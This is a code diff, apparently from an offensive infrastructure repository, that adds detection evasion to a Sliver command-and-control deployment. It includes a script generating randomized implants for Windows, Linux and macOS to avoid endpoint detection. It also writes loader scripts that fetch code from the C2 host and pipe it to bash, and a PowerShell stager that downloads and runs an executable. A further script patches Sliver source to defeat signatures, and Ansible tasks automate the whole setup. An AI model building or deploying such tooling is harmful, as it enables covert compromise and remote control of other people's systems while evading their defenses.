adding evasion to sliver and beacons

files/generate_evasive_beacons.sh

@@ -0,0 +1,188 @@
+#!/bin/bash
+# Advanced EDR-evasive beacon generator with dynamic randomization
+
+# Dynamic configuration
+BEACONS_DIR="/opt/beacons"
+TIMESTAMP=$(date +%s)
+C2_HOST=${1:-$(hostname -I | awk '{print $1}')}
+C2_PORT=${2:-$(( 7000 + RANDOM % 3000 ))}
+TEMP_DIR=$(mktemp -d)
+
+# Generate unique random values for each execution
+random_string() { 
+    cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w ${1:-8} | head -n 1
+}
+
+random_path() {
+    local depth=$(( 1 + RANDOM % 3 ))
+    local path="/"
+    for ((i=0; i<depth; i++)); do
+        path+="$(random_string $(( 4 + RANDOM % 8 )))/"
+    done
+    echo "${path}$(random_string $(( 5 + RANDOM % 10 )))"
+}
+
+# Generate unique profile for each beacon
+generate_profile() {
+    local type=$1
+    local profile_name="profile-${type}-$(random_string 8)"
+    local http_path1=$(random_path)
+    local http_path2=$(random_path)
+    local interval=$(( 30 + RANDOM % 120 ))
+    local jitter=$(( 10 + RANDOM % 35 ))
+    local headers=(
+        "Accept-Language: en-US,en;q=0.$(( 7 + RANDOM % 3 ))"
+        "X-Requested-With: XMLHttpRequest"
+        "X-Client-ID: $(random_string 16)"
+        "Cache-Control: max-age=$(( 100 + RANDOM % 900 ))"
+        "X-$(random_string 8): $(random_string 12)"
+    )
+    
+    # Select random subset of headers
+    local selected_headers=()
+    for ((i=0; i<$(( 2 + RANDOM % 3 )); i++)); do
+        selected_headers+=("${headers[RANDOM % ${#headers[@]}]}")
+    done
+    
+    # Format headers for JSON
+    local json_headers="["
+    for ((i=0; i<${#selected_headers[@]}; i++)); do
+        json_headers+="\"${selected_headers[i]}\""
+        if [[ $i -lt $((${#selected_headers[@]}-1)) ]]; then
+            json_headers+=", "
+        fi
+    done
+    json_headers+="]"
+    
+    # Create profile with unique properties for this beacon type
+    cat > "$TEMP_DIR/$profile_name.json" << EOF
+{
+    "name": "$profile_name",
+    "http_urls": ["$http_path1", "$http_path2"],
+    "http_headers": $json_headers,
+    "beacon_interval": $interval,
+    "beacon_jitter": $jitter,
+    "kill_date": "$(date -d "+$(( 30 + RANDOM % 90 )) days" +%Y-%m-%d)",
+    "working_hours": {
+        "start": "$(( 5 + RANDOM % 5 )):$(( RANDOM % 60 ))",
+        "end": "$(( 16 + RANDOM % 8 )):$(( RANDOM % 60 ))"
+    }
+}
+EOF
+    
+    # Install unique profile
+    mkdir -p /root/.sliver/profiles/
+    cp "$TEMP_DIR/$profile_name.json" /root/.sliver/profiles/
+    echo $profile_name
+}
+
+# Random output filename generator
+random_output_name() {
+    local type=$1
+    local names=(
+        "update" "service" "client" "agent" "app" "system" 
+        "monitor" "utility" "helper" "runtime" "driver" "module"
+    )
+    local name="${names[RANDOM % ${#names[@]}]}_$(random_string 4)"
+    
+    case "$type" in
+        windows) echo "${name}.exe" ;;
+        windows_dll) echo "${name}.dll" ;;
+        linux) echo "${name}" ;;
+        darwin) echo "${name}" ;;
+        *) echo "${name}" ;;
+    esac
+}
+
+# Ensure output directory exists
+mkdir -p $BEACONS_DIR
+mkdir -p $BEACONS_DIR/staged
+mkdir -p $BEACONS_DIR/shellcode
+
+# Generate each beacon type with unique profile and settings
+echo "[+] Generating randomized, evasive beacons..."
+
+# Windows EXE
+win_profile=$(generate_profile "windows")
+win_output=$(random_output_name "windows")
+sliver generate --profile $win_profile --http $C2_HOST:$C2_PORT --os windows --arch amd64 \
+    --format exe --save "$BEACONS_DIR/$win_output"
+echo "[+] Windows beacon: $BEACONS_DIR/$win_output (Profile: $win_profile)"
+
+# Windows DLL
+dll_profile=$(generate_profile "windows_dll")
+dll_output=$(random_output_name "windows_dll")
+sliver generate --profile $dll_profile --http $C2_HOST:$C2_PORT --os windows --arch amd64 \
+    --format shared --save "$BEACONS_DIR/$dll_output"
+echo "[+] Windows DLL: $BEACONS_DIR/$dll_output (Profile: $dll_profile)"
+
+# Linux binary
+linux_profile=$(generate_profile "linux")
+linux_output=$(random_output_name "linux")
+sliver generate --profile $linux_profile --http $C2_HOST:$C2_PORT --os linux --arch amd64 \
+    --format elf --save "$BEACONS_DIR/$linux_output"
+echo "[+] Linux binary: $BEACONS_DIR/$linux_output (Profile: $linux_profile)"
+
+# macOS binary
+mac_profile=$(generate_profile "darwin")
+mac_output=$(random_output_name "darwin")
+sliver generate --profile $mac_profile --http $C2_HOST:$C2_PORT --os darwin --arch amd64 \
+    --format macho --save "$BEACONS_DIR/$mac_output"
+echo "[+] macOS binary: $BEACONS_DIR/$mac_output (Profile: $mac_profile)"
+
+# Generate dynamic stagers with variable formats
+stager_profile=$(generate_profile "stager")
+stager_win=$(random_output_name "windows")
+sliver generate stager --profile $stager_profile --http $C2_HOST:$C2_PORT --os windows --arch amd64 \
+    --format exe --save "$BEACONS_DIR/staged/$stager_win"
+echo "[+] Windows stager: $BEACONS_DIR/staged/$stager_win (Profile: $stager_profile)"
+
+# Create randomized loader scripts
+echo "#!/bin/bash
+# $(random_string 32)
+# $(date)
+sleep \$((RANDOM % 3))
+curl -s http://$C2_HOST:$C2_PORT$(random_path) -H \"$(random_string 8): $(random_string 12)\" | bash
+# $(random_string 24)" > "$BEACONS_DIR/loader_$(random_string 8).sh"
+chmod +x "$BEACONS_DIR/loader_$(random_string 8).sh"
+
+# Random PowerShell stager with junk and evasion
+cat > "$BEACONS_DIR/loader_$(random_string 8).ps1" << EOF
+# $(random_string 32)
+# Generated: $(date)
+[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
+\$r = New-Object -TypeName Random
+Start-Sleep -Milliseconds \$r.Next(100, 2000)
+\$wc = New-Object Net.WebClient
+\$wc.Headers.Add("$(random_string 8)", "$(random_string 12)")
+\$url = 'http://$C2_HOST:$C2_PORT$(random_path)'
+\$outpath = "\$env:TEMP\$(random_string 8).exe"
+try {
+    # $(random_string 16)
+    \$wc.DownloadFile(\$url, \$outpath)
+    Start-Sleep -Milliseconds \$r.Next(500, 3000)
+    Start-Process -NoNewWindow -FilePath \$outpath
+} catch {
+    # Error handling to avoid detection
+    # $(random_string 24)
+}
+EOF
+
+# Create index of generated files for reference
+echo "[+] Creating reference file with beacon details"
+cat > "$BEACONS_DIR/reference.txt" << EOF
+C2 Server: $C2_HOST:$C2_PORT
+Generated: $(date)
+
+Windows EXE: $win_output (Profile: $win_profile)
+Windows DLL: $dll_output (Profile: $dll_profile)
+Linux Binary: $linux_output (Profile: $linux_profile)
+macOS Binary: $mac_output (Profile: $mac_profile)
+Windows Stager: staged/$stager_win (Profile: $stager_profile)
+
+All profiles are uniquely generated with randomized settings.
+EOF
+
+# Cleanup
+rm -rf $TEMP_DIR
+echo "[+] Beacon generation complete with dynamic fingerprint avoidance"

files/serve-beacons.sh

@@ -14,24 +14,12 @@ umask 077
 mkdir -p $BEACONS_DIR
 
 # Function to generate beacons using Sliver
-generate_beacons() {
+# This will replace part of files/serve-beacons.sh
-    echo "[+] Generating beacons for all platforms..."
+function generate_beacons() {
+    echo "[+] Generating evasive beacons for all platforms..."
     
-    # Make sure Sliver server is running
+    # Use evasive beacon generator for better EDR bypass
-    if ! pgrep -x "sliver-server" > /dev/null; then
+    /opt/c2/generate_evasive_beacons.sh $C2_HOST 8443
-        echo "[!] Sliver server is not running, starting it..."
-        systemctl start sliver
-        sleep 5
-    fi
-    
-    # Generate Windows beacon
-    sliver-cli generate --http $C2_HOST:8888 --os windows --arch amd64 --save $BEACONS_DIR/windows.exe
-    
-    # Generate Linux beacon
-    sliver-cli generate --http $C2_HOST:8888 --os linux --arch amd64 --save $BEACONS_DIR/linux
-    
-    # Generate macOS beacon
-    sliver-cli generate --http $C2_HOST:8888 --os darwin --arch amd64 --save $BEACONS_DIR/macos
     
     # Generate stagers
     echo "#!/bin/bash

files/sliver_randomizer.sh

@@ -0,0 +1,88 @@
+# This will be saved as files/sliver_randomizer.sh
+#!/bin/bash
+# EDR bypass script - Creates unique Sliver payloads to evade detection
+
+set -e
+TEMP_DIR=$(mktemp -d)
+SLIVER_DIR="${TEMP_DIR}/sliver"
+LOG_FILE="/opt/c2/sliver_randomizer.log"
+
+# Function to log messages
+log() {
+    echo "[$(date +"%Y-%m-%d %H:%M:%S")] $1" | tee -a $LOG_FILE
+}
+
+# Function to generate random strings
+random_string() {
+    local length=${1:-8}
+    cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w $length | head -n 1
+}
+
+# Clone Sliver
+log "Cloning Sliver repository..."
+git clone --quiet https://github.com/BishopFox/sliver.git $SLIVER_DIR
+cd $SLIVER_DIR
+
+# Generate randomization values
+IMPLANT_NAME=$(random_string 8)
+HTTP_PATH_ONE="/$(random_string 6)/$(random_string 5)"
+HTTP_PATH_TWO="/$(random_string 7)/$(random_string 4)"
+BEACON_MIN=$((30 + RANDOM % 60))
+JITTER=$((10 + RANDOM % 20))
+
+# 1. Modify implant name (critical for signatures)
+log "Changing implant name to $IMPLANT_NAME..."
+sed -i "s/ImplantName = \"sliver\"/ImplantName = \"$IMPLANT_NAME\"/g" server/configs/constants.go
+
+# 2. Change HTTP request patterns (affects network signatures)
+log "Modifying HTTP transport patterns..."
+sed -i "s|\"/path/to/file\"|\"$HTTP_PATH_ONE\"|g" implant/sliver/transports/httpclient.go
+
+# 3. Add unique build ID (affects binary signatures)
+log "Adding unique build identifiers..."
+cat >> implant/sliver/sliver.go << EOF
+
+// Custom build identifier: $(random_string 32)
+// Build timestamp: $(date +%s)
+EOF
+
+# 4. Modify PE headers through go build flags
+log "Setting custom build flags..."
+sed -i "s/LinkerStrip = \"-s -w\"/LinkerStrip = \"-s -w -buildid=$(random_string 10)\"/g" client/command/generate/binaries.go
+
+# Build the modified Sliver
+log "Building Sliver client only..."
+make client
+
+# Create custom profiles directory
+mkdir -p /opt/c2/sliver-profiles
+
+# Create evasive profile template
+cat > /opt/c2/sliver-profiles/evasive-template.json << EOF
+{
+    "name": "evasive-$(random_string 4)",
+    "http_urls": ["$HTTP_PATH_ONE", "$HTTP_PATH_TWO"],
+    "http_headers": [
+        "Accept-Language: en-US,en;q=0.$(( 7 + RANDOM % 3 ))",
+        "X-Requested-With: XMLHttpRequest",
+        "Cache-Control: max-age=$(( 100 + RANDOM % 400 ))"
+    ],
+    "beacon_interval": $BEACON_MIN,
+    "beacon_jitter": $JITTER,
+    "kill_date": "$(date -d "+60 days" +%Y-%m-%d)",
+    "working_hours": {
+        "start": "$(( 6 + RANDOM % 4 )):00",
+        "end": "$(( 16 + RANDOM % 6 )):00"
+    }
+}
+EOF
+
+# Install client but use system Sliver server
+log "Installing Sliver client..."
+cp -f ./sliver-client /usr/local/bin/
+
+# Cleanup
+log "Cleaning up..."
+rm -rf $TEMP_DIR
+
+log "Customization complete."

tasks/configure_c2.yml

@@ -1,5 +1,5 @@
 ---
-# Common tasks for configuring C2 server
+# Common tasks for configuring C2 server with EDR evasion
 # Shared across all providers
 
 - name: Update apt cache
@@ -53,6 +53,7 @@
       - dovecot-sieve
       - dovecot-managesieved
       - yq
+      - build-essential
     state: present
 
 - name: Create directories for operational scripts
@@ -70,16 +71,37 @@
 - name: Copy operational scripts
   copy:
     src: "{{ item }}"
-    dest: "/opt/c2/{{ item }}"
+    dest: "/opt/c2/{{ item | basename }}"
     mode: '0700'
     owner: root
     group: root
   with_items:
-    - clean-logs.sh
+    - ../files/clean-logs.sh
-    - secure-exit.sh
+    - ../files/secure-exit.sh
-    - serve-beacons.sh
+    - ../files/serve-beacons.sh
+    - ../files/sliver_randomizer.sh
+    - ../files/generate_evasive_beacons.sh
 
-- name: Create Sliver service file
+- name: Remove standard Sliver if installed
+  apt:
+    name: sliver
+    state: absent
+  ignore_errors: yes
+
+- name: Stop standard Sliver service if running
+  systemd:
+    name: sliver
+    state: stopped
+    enabled: no
+  ignore_errors: yes
+
+- name: Run Sliver randomization for EDR evasion
+  shell: /opt/c2/sliver_randomizer.sh
+  args:
+    creates: /opt/c2/sliver-profiles/evasive-template.json
+  register: randomization_result
+
+- name: Create custom Sliver service file
   template:
     src: "../templates/sliver-server.service.j2"
     dest: /etc/systemd/system/sliver.service
@@ -87,6 +109,22 @@
     owner: root
     group: root
 
+- name: Enable and start custom Sliver service
+  systemd:
+    name: sliver
+    state: started
+    enabled: yes
+    daemon_reload: yes
+
+- name: Wait for Sliver to initialize
+  pause:
+    seconds: 10
+
+- name: Generate evasive beacons
+  shell: /opt/c2/generate_evasive_beacons.sh {{ ansible_host }}
+  args:
+    creates: /opt/beacons/reference.txt
+
 - name: Set up cron job for log cleaning if zero-logs enabled
   cron:
     name: "Clean logs"
@@ -104,6 +142,13 @@
       nohup /opt/c2/serve-beacons.sh > /dev/null 2>&1 &
     fi
 
+- name: Install Let's Encrypt certificate if domain specified
+  shell: |
+    certbot certonly --standalone -d {{ c2_subdomain }}.{{ domain }} --non-interactive --agree-tos -m {{ letsencrypt_email }}
+  args:
+    creates: /etc/letsencrypt/live/{{ c2_subdomain }}.{{ domain }}/fullchain.pem
+  when: domain != "example.com"
+
 # Include integrated tracker tasks if requested
 - name: Include integrated tracker setup
   include_tasks: "configure_integrated_tracker.yml"